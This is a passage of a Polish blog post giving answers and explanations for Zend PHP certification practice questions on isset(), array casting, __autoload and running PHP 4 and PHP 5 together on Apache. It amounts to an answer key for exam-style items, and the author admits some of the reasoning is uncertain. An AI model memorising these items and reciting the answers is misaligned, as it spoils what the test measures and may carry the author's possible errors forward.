Odpowiedź trzecia jest poprawna, gdyż isset() jest konstrukcją językową, a pozostałe z wymienionych są funkcjami. Bardzo ładnie dla oka można to sprawdzić w bardziej zaawansowanych edytorach PHP, poprzez specyficzne podświetlanie konstrukcji językowych i nie podświetlanie funkcji języka PHP.

Pytanie VI. What will be the value of $b after running the following code?
```
$a = array('c', 'b', 'a');
$b = (array) $a;
```
1. TRUE
2. array(‘c’, ‘b’, ‘a’)
3. array(array(‘c’, ‘b’, ‘a’))
4. None of the above

W drugiej linii następuje rzutowanie tablicy $a utworzonej linie wyżej na typ tablicy, po czym wynik przypisany jest do zmiennej (już tablicowej/tablicy) $b.

Pytanie VII. Which of the following function signatures is correct if you want to have classes automatically loaded?
1. function autoload($class_name)
2. function __autoload($class_name, $file)
3. function __autoload($class_name)
4. function _autoload($class_name)
5. function autoload($class_name, $file)

Wszystkie metody magiczne w PHP5 rozpoczynają się od __. Więc wybór zaokrąglił się nam do drugiej i trzeciej odpowiedzi. A ponieważ posiada ona wg. dokumentacji tylko jeden parametr to należy wybrać trzecią odpowiedź.

Pytanie VIII. What is the best way to run PHP 4 and PHP 5 side-by-side on the same Apache server?
1. Run one as an Apache module, the other as a CGI binary.
2. Run both as a CGI binary.
3. Just use .php4 for PHP 4, and .php for PHP 5.
4. Use .php for both but use different document roots.

Przyznaję, że w tym wypadku dwie odpowiedzi – drugą i czwartą skreśliłem ze względu, moim zdaniem na brak logiki. Pierwsze co mi się rzuciło to opcja realna ze strony klienta – czyli trzecia. Nie mniej jednak te „to run” w pytaniu pokwapiło mnie do wniosku, że należy do tego podejść z innej, bardziej technicznej strony. A ponieważ da się dwie wersje PHP uruchomić w trybie jedna jako skrypt CGI, a druga jako moduł Apache’a (dopiero po tym, należałoby skupić na parsowaniu dokumentów PHP w danej wersji zależnej od rozszerzenia) to pierwsza odpowiedź jest dobra. Ale zamieszałem :D I, żeby nie być gołosłownym, że niby nie rozwiązałem sam, proszę (strzelajcie w którym pytaniu się walnąłem ;]):

Mam nadzieję, że komuś się przydadzą te odpowiedzi, rzecz jasna do sprawdzenia siebie samego. Jeśli coś przypadkiem pomyliłem, proszę o uwagi w komentarzach.

I na koniec pytanie – czy ktoś miał z bardziej praktycznej strony kontakt z Zend Certificate i mógłby mi na tyle na ile umowa pozwala przybliżyć jak to wszystko działa (w komentarzach)? Z góry dzięki.